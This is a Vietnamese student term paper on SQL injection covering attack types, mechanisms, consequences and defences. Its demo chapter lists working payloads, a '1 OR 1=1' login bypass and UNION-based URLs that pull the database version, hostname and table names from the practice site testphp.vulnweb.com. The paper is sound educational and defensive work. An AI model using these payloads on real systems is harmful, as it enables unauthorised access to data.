Tìm hiểu về SQLinjection. Các biện pháp phòng tránh

25 9 0
Tìm hiểu về SQLinjection. Các biện pháp phòng tránh

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

TRƯỜNG ĐẠI HỌC MỎ ĐỊA CHẤT BỘ MÔN MẠNG MÁY TÍNH _ TIỂU LUẬN MÔN HỌC AN NINH MẠNG + BTL - 7080728 Họ tên: Mã số sinh viên: Lớp: Cán giảng dạy : Hà Nội - 2021 MỤC LỤC MỤC LỤC CHƯƠNG TỔNG QUAN VỀ SQL INJECTION .3 1.1.Giới thiệu 1.2.Mục đích CHƯƠNG PHÂN TÍCH SQL INJECTION 2.1 Phân loại 2.1.1 In-band SQL injection 2.1.2 Inferential SQL injection .4 2.1.4 Out-of-band SQL injection 2.2 Cơ chế hoạt động 2.2.1 Thông qua “user input” 2.2.2 Thông qua cookies 2.2.3 Thông qua biến server 2.3 Hậu 2.4 Cách phòng tránh 2.4.1 Luôn xác thực kiểm tra cẩn thận liệu người dùng nhập .8 2.4.2 Tránh tiết lộ thông tin/chi tiết nhạy cảm thông báo lỗi 2.4.3 Sử dựng framework thay code 2.4.4 Phân quyền truy cập .9 2.4.5 Sử dụng SQL Map 2.4.6 Mã hóa data quan trọng 2.4.7 Backup liệu thường xuyên CHƯƠNG DEMO THỰC HÀNH 10 3.1 Khai thác lỗ hổng SQL injection thông qua trang web demo www.hacksplaining.com 10 3.2 Khai thác lỗ hổng SQL injection thông qua trang web demo www.testphp.vulnweb.com 13 KẾT LUẬN 23 TÀI LIỆU THAM KHẢO 24 CHƯƠNG TỔNG QUAN VỀ SQL INJECTION 1.1 Giới thiệu SQL injection lỗ hổng bảo mật web cho phép kẻ công can thiệp vào truy vấn mà ứng dụng thực sở liệu Nó thường cho phép kẻ cơng xem liệu mà chúng thường lấy Điều bao gồm liệu thuộc người dùng khác liệu khác mà thân ứng dụng truy cập Trong nhiều trường hợp, kẻ cơng sửa đổi xóa liệu này, gây thay đổi liên tục nội dung hành vi ứng dụng Lỗ hổng tiếng, từ developer đến hacker gần biết Ngồi ra, cịn có số tool công SQL Injection cho dân “ngoại đạo”, người khơng biết lập trình Rất nhiều ông lớn bị dính Sony, Microsoft UK Mọi vụ lùm xùm liên quan tới “lộ liệu người dùng” nhiều dính dáng tới SQL Injection SQL dễ công, phổ biến, gây hậu nghiêm trọng, lý dó nằm vị trí đầu bảng top 10 lỗ hỗng bảo mật OWASP Các phần dễ bị công bao gồm: • Form đăng nhập • Form tìm kiếm • Các trường lưu trường đầu vào liệu • Liên kết website 1.2 Mục đích Một cơng SQL injection thành cơng dẫn đến việc truy cập trái phép vào liệu nhạy cảm, chẳng hạn mật khẩu, chi tiết thẻ tín dụng thông tin người dùng Nhiều vụ xâm phạm liệu năm gần kết công SQL injection, dẫn đến thiệt hại danh tiếng tiền bạc Trong số trường hợp, kẻ cơng có backdoor liên tục vào hệ thống tổ chức, dẫn đến truy cập trái phép khơng ý thời gian dài CHƯƠNG PHÂN TÍCH SQL INJECTION 2.1 Phân loại 2.1.1 In-band SQL injection Đây dạng công phổ biến dễ để khai thác lỗ hổng SQL Injection Xảy hacker tổ chức cơng thu thập kết trực tiếp kênh liên lạc Được chia làm dạng nhỏ Error-based Unionbased 2.1.1.1 Error-based SQL injection Đây kỹ thuật công SQL injection dựa vào thông báo lỗi trả từ Database Server có chứa thơng tin cấu trúc sở liệu Trong vài trường hợp, Error-based liệt kê thuộc tính sở liệu Thơng thường website có trang nhận ID tin cần hiển thị truy vấn nội dung có ID 2.1.1.2 Union-based SQL injection Đây kỹ thuật công SQL injection dựa vào tốn tử UNION ngơn ngữ SQL cho phép tổng hợp kết hay nhiều câu truy vấn SELECTION kết trả phần HTTP response Để thực việc cần phải biết tên bảng hợp lệ xác định số cột, kiểu liệu câu truy vấn Cách đơn giản để lấy tên bảng doán, thơng thường ứng dụng tên bảng thường đặt giống để thuận tiện cho người dùng 2.1.2 Inferential SQL injection Cách công Inferential SQL injection tốn nhiều thời gian khơng có liệu thực trả thông qua web application hacker khơng thể theo dõi kết trực tiếp kiểu cơng In-band.Thay vào đó, kẻ công cố gắng xây dựng lại cấu trúc sở liệu việc gửi payloads, dựa vào kết phản hồi web application kết hành vi database server Cách cơng có dạng chính: Blind-boolean-based Blind-time-based 2.1.2.1 Blind-boolean-based Đây kĩ thuật công SQL Injection dựa vào việc gửi truy vấn tới sở liệu bắt buộc ứng dụng trả kết khác phụ thuộc vào câu truy vấn True hay False Tuỳ thuộc kết trả câu truy vấn mà HTTP reponse thay đổi, giữ nguyên Kiểu công thường chậm (đặc biệt với sở liệu có kích thước lớn) người công cần phải liệt kê liệu, mị kí tự 2.1.2.2 Blind-time-based Blind-time-base kĩ thuật công dựa vào việc gửi câu truy vấn tới sở liệu buộc sở liệu phải chờ khoảng thời gian (thường tính giây) trước phản hồi Thời gian phản hồi (ngay hay trễ theo khoảng thời gian cài đặt) cho phép kẻ cơng suy đốn kết truy vấn TRUE hay FALSE Kiểu công tốn nhiều thời gian tương tự Blind-boolean-based nên dùng khơng cịn cách khác để lấy thông tin từ sở dững liệu 2.1.4 Out-of-band SQL injection Out-of-band SQL injection dạng cơng phổ biến, chủ yếu phụ thuộc vào tính bật Database Server sở dụng Web Application Kiểu công xảy hacker trực tiếp công thu thập kết trực tiếp kênh ( công kiểu In-band) việc phản hồi từ server không ổn định (không thể công kiểu Inferential) Kiểu công phụ thuộc vào khả server thực request DNS HTTP để chuyển liệu cho kẻ cơng Ví dụ câu lệnh xp_dirtree Microsoft SQL Server sử dụng để thực DNS request tới server khác kẻ cơng kiểm sốt, Oracle Database’s UTL HTTP Package sử dụng để gửi HTTP request từ SQL PL/SQL tới server kẻ công làm chủ 2.2 Cơ chế hoạt động Mỗi dạng cơng SQL injection có chế hoạt đơng khác chất có điểm chung: Hacker tìm lỗ hổng website Hacker chèn lệnh SQL vào lỗ hổng Hacker lấy cắp thơng tin mong muốn Hacker giải mã mật quản trị viên, từ chiếm quyền đăng nhập, thay đổi nội dung website đánh cắp thông tin quan 2.2.1 Thông qua “user input” User input điển hình thường đến từ form đăng nhập,form nhập liệu, form tìm kiếm… Những liệu web browser gửi đến server thông qua phương thức HTTP GET hay POST trở thành tham số cho ứng dụng web truy cập tới sở liệu Ví dụ form search, người dùng điền vào “Sql Injection”, đơn giản ứng dụng web truy cập sở liệu tìm ghi mà nội dung chứa từ khóa “Sql Injection” để trả lại kết cho người dùng Tùy vào câu truy vấn chèn vào mà thu thập thông tin mong muốn hay hành động phá hoại xóa bảng sở liệu, upload shell lên web server phục vụ việc khai thác sau 2.2.2 Thông qua cookies Cookies tệp tin lưu trữ thông tin trạng thái người dùng truy cập ứng dụng web Những thông tin người lập trình định, tạo server lưu trữ client Khi người dùng truy cập lại ứng dụng web, cookies browser gửi lên server giúp phục hồi lại trạng thái người dùng lần truy cập trước Do lưu trữ client nên người dùng chỉnh sửa tùy ý, ứng dụng web sử dụng thông tin lưu cookies để xây dựng truy vấn tới sở liệu hacker hồn tồn chèn vào cookies script sql để thực công Sql Injection 2.2.3 Thông qua biến server Biến server khái niệm tương đối lạ lẫm khơng Một số ví dụ biến server Http header, Network header… Không phổ biến giá trị lưu biến server ứng dụng web sử dụng việc logging truy cập hay thống kê truy cập theo user agent… Những công việc có tương tác với sở liệu nên hacker hồn tồn sử dụng biến server việc khai thác Sql Injection Các addon firefox hỗ trợ tốt việc này, Tamper Data hay Live HTTP headers (đã ví dụ trên) giúp bắt request gửi từ client lên web server, từ dễ dàng thay đổi biến server (http header…) trước gửi chúng tới server Việc khai thác thông qua biến server tương tự khai thác thông qua cookie 2.3 Hậu • Chiếm quyền điều khiển tài khoản cá nhân • Ăn cắp chép liệu trang web hệ thống • Thay đổi liệu nhạy cảm hệ thống • Hacker đăng nhập vào ứng dụng với tư cách người dùng khác, với tư cách quản trị viên • Có thể bị sửa đổi cấu trúc sở liệu, chí xóa bảng sở liệu ứng dụng • Bị kiểm soát máy chủ sở liệu thực thi lệnh theo ý muốn • Tống tiền 2.4 Cách phịng tránh 2.4.1 Luôn xác thực kiểm tra cẩn thận liệu người dùng nhập Quy tắc input mà người dùng nhập “don’t trust and verify” (khơng tin tưởng cần xác minh”), có nghĩa tất người dùng nhập vào phải coi độc hại trừ có chứng khác Nó khơng dành cho form nhập liệu đơn giản vùng văn mà cho thứ khác - input ẩn, chuỗi tham số truy vấn, cookie tệp tải lên Đây coi bước hiệu để bảo vệ liệu khỏi SQL injection • Sử dụng parameter thay cộng chuỗi Nếu câu lệnh SQL injection truyền vào vào không hợp pháp, câu lệnh khơng thể thực thi • Khi bạn nhận liệu ID URL cách tốt nên ép kiểu, chuyển kiểu số INT, sau chuyển kiểu STRING (nếu cần thiết) • Sử dụng hàm sprintf mysql_real_escape_string để xác định kiểu liệu cho câu truy vấn Hàm mysql_real_escape_string thêm dấu gạch chéo ngược vào ký tự đặc biệt Từ tránh việc hacker sử dụng kí tự để khai thác lỗ hổng SQL injection • Dùng Regular Expression để loại bỏ ký tự lạ ký tự số 2.4.2 Tránh tiết lộ thông tin/chi tiết nhạy cảm thông báo lỗi Việc hiển thị thông tin chi tiết lỗi, đặc biệt lỗi liên quan đến SQL trang web người dùng giúp hacker lợi dụng để khai thác lỗ hổng SQL injection 2.4.3 Sử dựng framework thay code Các framework thường sẵn có cơng cụ bảo mật, giúp tăng cường khả bảo vệ trước cơng an ninh mạng Framework ln có cộng đồng chuyên gia bảo mật giúp tìm lỗi update liên tục, từ giảm bớt thời gian xử lý vấn đề phát sinh 2.4.4 Phân quyền truy cập Phân quyền truy cập giúp đề phịng bị cơng hacker khơng thể ăn cắp hay truy cập vào phần data quan trọng Cách phòng chống không dành riêng cho SQL injection mà phương thức quan trọng việc bảo vệ liệu khỏi cách công khác 2.4.5 Sử dụng SQL Map SQL Map công cụ mã nguồn mở, dùng để khai thác lổ hổng sở liệu SQL, giới bảo mật giới hacker sử dụng thường xuyên Với máy tính cài hệ điều hành Windows phải cài đặt thêm Python để sử dụng Cơng cụ có nhiều tính thích hợp cho việc thâm nhập SQL để lấy dấu sở liệu, từ xác định lỗ hổng SQL injection 2.4.6 Mã hóa data quan trọng Các data quan trọng, đặc biệt mật khẩu, email, số điện thoại, địa chỉ, thông tin ngân hàng hay thông tin cá nhân nhạy cảm nên mã hóa lưu trữ vào sở liệu Mã hóa liệu phần tất yếu chiến lược bảo mật trước hình thức cơng mạng 2.4.7 Backup liệu thường xun Đề phịng trường hợp bị hacker cơng gây liệu tống tiền, đề phịng chuyện cách backup liệu thường xuyên Việc không tốn nhiều thời gian cơng sức lại “lá chắn” hữu hiệu bị công CHƯƠNG DEMO THỰC HÀNH 3.1 Khai thác lỗ hổng SQL injection thông qua trang web demo www.hacksplaining.com Bước 1: Mở trang web 10 Bước 2: Đăng nhập với email “user@email.com”, mật bất kì, ví dụ “password” Trang web thông báo đăng nhập không thành công sai mật 11 Bước 3: Khai thác lỗ hổng SQL injection cách đăng nhập với email “user@email.com” , mật “1 OR 1=1 ” Hacker đăng nhập vào hệ thống, xem data quan trọng cho dù khơng biết xác mật Đây điều nguy hiểm 12 3.2 Khai thác lỗ hổng SQL injection thông qua trang web demo www.testphp.vulnweb.com Bước 1: Xác định trang web có dính lỗ hổng SQL injection hay không 13 Truy cập Browse categories: 14 Chọn mục Posters: Lúc này, đường dẫn trang web http://testphp.vulnweb.com/listproducts.php?cat=1 Ta thêm ký tự (ví dụ *) vào đường dẫn để xem trang web xử lý nào: http://testphp.vulnweb.com/listproducts.php?cat=1* 15 Qua quan sát, ta hiểu trang web khơng lọc liệu đầu vào mà tìm category có ID=1* Vì khơng có ID=1* nên trang web hiển thị lỗi Kết luận: Trang web bị khai thác lỗi SQL injection Bước 2: Tìm số cột có bảng Ta gõ vào trình duyệt với số cột tăng dần, đến trang web báo lỗi thơi http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1 http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+2 … 16 http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12 Đến số 12 ta thấy trang web báo lỗi: Ta kết luận bảng có 11 cột Ta sử dụng tốn tử UNION để xem cột hiển thị bị khai thác: http://testphp.vulnweb.com/listproducts.php? cat=1+union+select+’vuln1’,’vuln2’,’vuln3’,’vuln4’,’vuln5’,’vuln6’,’vuln7’,’vuln8 ’,’vuln9’,’vuln10’,’vuln11’ 17 Kết cho ta biết cột 2, bị khai thác SQL injection 18 Bước 3: Khai thác lỗ hổng SQL injection: • Để tìm phiên hệ quản trị sở liệu, ta nhập đường dẫn cũ, thay cột ‘vuln2’ @@version: http://testphp.vulnweb.com/listproducts.php? cat=1+union+select+vuln1’’,@@version,’vuln3’,’vuln4’,’vuln5’,’vuln6’,’vuln7’,’v uln8’,’vuln9’,’vuln10’,’’vuln11’ Ta biết trang web sử dụng MySQL 8.0.22, hệ điều hành Unbutu 20.04 19 • Tìm hostname, ta nhập đường dẫn cũ, thay cột ‘vuln2’ @@hostname: http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+vuln1’’, @@hostname,’vuln3’,’vuln4’,’vuln5’,’vuln6’,’vuln7’,’vuln8’,’vuln9’,’vuln10’,’’vu ln11’ Ta biết hostname ip-10-0-0-222 20 • Để tìm tên database, ta nhập đường dẫn cũ, thay cột ‘vuln2’ database(): http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+vuln1’’, database(),’vuln3’,’vuln4’,’vuln5’,’vuln6’,’vuln7’,’vuln8’,’vuln9’,’vuln10’,’’vuln1 1’ Ta biết tên database acuart 21 • Để tìm tên tất bảng database, ta sử dụng đối tượng information_schema Đối tượng giúp cung cấp thông tin bảng sở liệu Ta nhập đường dẫn: http://testphp.vulnweb.com/listproducts.php?cat=+union+select+1,group_concat (table_name),3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_s chema=database() + Ta biết database có bảng: artists, carts, categ, featured, guestbooks, pictures, products, users 22 KẾT LUẬN SQL Injection khái niệm quen thuộc xếp top đầu lỗ hổng bảo mật web phổ biến theo chuẩn OWASP Cách công tồn quanh ta nhiều thập kỷ tiếp tục đứng đầu bảng xếp hạng lỗ hổng nguy hiểm năm tới Chỉ vài bước dễ dàng – toan tính tốt – để bảo vệ bạn người dùng bạn khỏi công Việc cần làm để tránh trở thành nạn nhân cơng SQL injection kiểm sốt xác nhận input người dùng, cần tự trang bị công cụ cần thiết để bảo vệ cho website chúng ghé thăm Dữ liệu thứ “đáng tiền” website bạn, việc bảo vệ liệu từ cơng SQL injection nói riêng cách cơng an ninh mạng nói chung điều quan trọng đáng để lưu tâm 23 TÀI LIỆU THAM KHẢO Các tài liệu tiếng Việt: [1] Lê Đắc Nhường An tồn liệu: Mã hóa bảo mật thông tin, an ninh sở liệu an ninh mạng NXB Đại học Quốc gia Hà Nội 2018 [2] Nguyễn Hữu Hịa Giáo trình bảo mật hệ thống an ninh mạng NXB Đại học Cần Thơ 2017 [3] Bùi Xuân Huy SQL Injection ? Có kiểu cơng SQL Injection? https://viblo.asia/p/sql-injection-la-gi-co-bao-nhieu-kieu-tan-cong-sqlinjection-m68Z0QnMlkG 2020 [4] Nhật Minh Một số điểm chế công SQL injection https:// quantrimang.com/mot-so-diem-co-ban-ve-co-che-tan-cong-sql-injection-va-ddos84034 2018 Các tài liệu từ Internet: [5] Website Information Security Notebook of QuangTB https://infosecnote com/lo-hong/tim-hieu-ve-sql-injection 2020 [6] Website Securityforall https://securityforall.wordpress.com/2012/05/30/sqlinjection-tutorials-huong-dan-day-du-ve-sql-injection 2020 [7] Website OWASP https://owasp.org/www-project-top-ten/ [8] Website Hacksplaining https://www.hacksplaining.com/prevention/ [9] Website Microsoft https://docs.microsoft.com/en-us/previous-versions/ sql/sql-server-2008-r2/ms161953(v=sql.105)?redirectedfrom=MSDN 2012 [10] Website WebSec https://www.websec.ca/kb/sql_injection 2013 24 ... 2.2.3 Thông qua biến server 2.3 Hậu 2.4 Cách phòng tránh 2.4.1 Luôn xác thực kiểm tra cẩn thận liệu người dùng nhập .8 2.4.2 Tránh tiết lộ thông tin/chi tiết nhạy cảm thông... nghiêm trọng, lý dó nằm vị trí đầu bảng top 10 lỗ hỗng bảo mật OWASP Các phần dễ bị cơng bao gồm: • Form đăng nhập • Form tìm kiếm • Các trường lưu trường đầu vào liệu • Liên kết website 1.2 Mục đích... tư cách người dùng khác, với tư cách quản trị viên • Có thể bị sửa đổi cấu trúc sở liệu, chí xóa bảng sở liệu ứng dụng • Bị kiểm sốt máy chủ sở liệu thực thi lệnh theo ý muốn • Tống tiền 2.4 Cách

Ngày đăng: 14/02/2022, 17:16

Mục lục

  • MỤC LỤC

  • CHƯƠNG 1 TỔNG QUAN VỀ SQL INJECTION

  • CHƯƠNG 2 PHÂN TÍCH SQL INJECTION

  • CHƯƠNG 3 DEMO THỰC HÀNH

  • KẾT LUẬN

  • TÀI LIỆU THAM KHẢO

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan